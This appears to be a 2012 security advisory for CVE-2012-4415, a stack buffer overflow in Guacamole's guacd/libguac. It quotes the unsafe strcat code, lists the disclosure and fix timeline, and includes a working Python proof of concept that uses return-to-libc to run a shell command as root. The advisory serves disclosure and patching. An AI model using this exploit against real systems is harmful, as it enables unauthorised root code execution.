Overview ======== "Guacamole is an HTML5 web application that provides access to desktop environments using remote desktop protocols such as VNC or RDP. A centralized server acts as a tunnel and proxy, allowing access to multiple desktops through a web browser. No plugins are needed: the client requires nothing more than a web browser supporting HTML5 and AJAX." -- http://guac-dev.org/ guacamole 0.6.0 contains a trivial buffer overflow vulnerability that allows connected users to execute code with the privileges of the guacd daemon. In the Debian distribution the guacd 0.6.0-1 daemon runs as root and allows connections from unauthenticated users. However, it fortunately only listens on localhost by default. Analysis ======== The server part of guacamole consists of a web application written in Java and a proxy daemon ("guacd") written in C. The proxy part parses the guacamole protocol using the libguac library. This library contains a trivial buffer overflow vulnerability. As you can see in the following quote the code fails to validate the length of the user supplied input before using strcpy to copy it to a fixed size buffer in stack: guac_client_plugin* guac_client_plugin_open(const char* protocol) { guac_client_plugin* plugin; /* Reference to dlopen()'d plugin */ void* client_plugin_handle; /* Client args description */ const char** client_args; /* Pluggable client */ char protocol_lib[256] = "libguac-client-"; union { guac_client_init_handler* client_init; void* obj; } alias; /* Add protocol and .so suffix to protocol_lib */ strcat(protocol_lib, protocol); strcat(protocol_lib, ".so"); /* Load client plugin */ client_plugin_handle = dlopen(protocol_lib, RTLD_LAZY); if (!client_plugin_handle) { guac_error = GUAC_STATUS_BAD_ARGUMENT; guac_error_message = dlerror(); return NULL; Timeline ======== 2012-08-23 Vulnerability discovered and reported to upstream 2012-08-23 Upstream fixes the issue in http://guac-dev.org/trac/changeset/7dcefa744b4a38825619c00ae8b47e5bae6e38c0/libguac 2012-09-12 Fixed version (libguac 0.6.0-2) is uploaded to Debian 2012-09-19 Upstream releases 0.6.3 that includes the fix Proof of concept ================ #!/usr/bin/python # CVE-2012-4415: PoC for guacd buffer overflow vulnerability # # Copyright (c) 2012 Timo Juhani Lindfors <timo.lindfors@iki.fi> # # Allows arbitrary code execution on Debian i386 guacd 0.6.0-1 with # default configuration. Uses return-to-libc to bypass non-executable # stack. # import socket, struct PROTOCOL_ADDRESS = 0xbf807e9f SYSTEM_ADDRESS = 0xb76e7640 class GuacdPOC: def __init__(self, command): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect(('localhost', 4822)) self.s("select") self.c(",") protocol = (command + "; " + "#" * 265)[:265] protocol += struct.pack("L", PROTOCOL_ADDRESS) protocol += struct.pack("L", SYSTEM_ADDRESS) self.s(protocol) self.c(";") def s(self, x): self.sock.send("%d.%s" % (len(x), x)) def c(self, x): self.sock.send(x) GuacdPOC("touch /tmp/owned")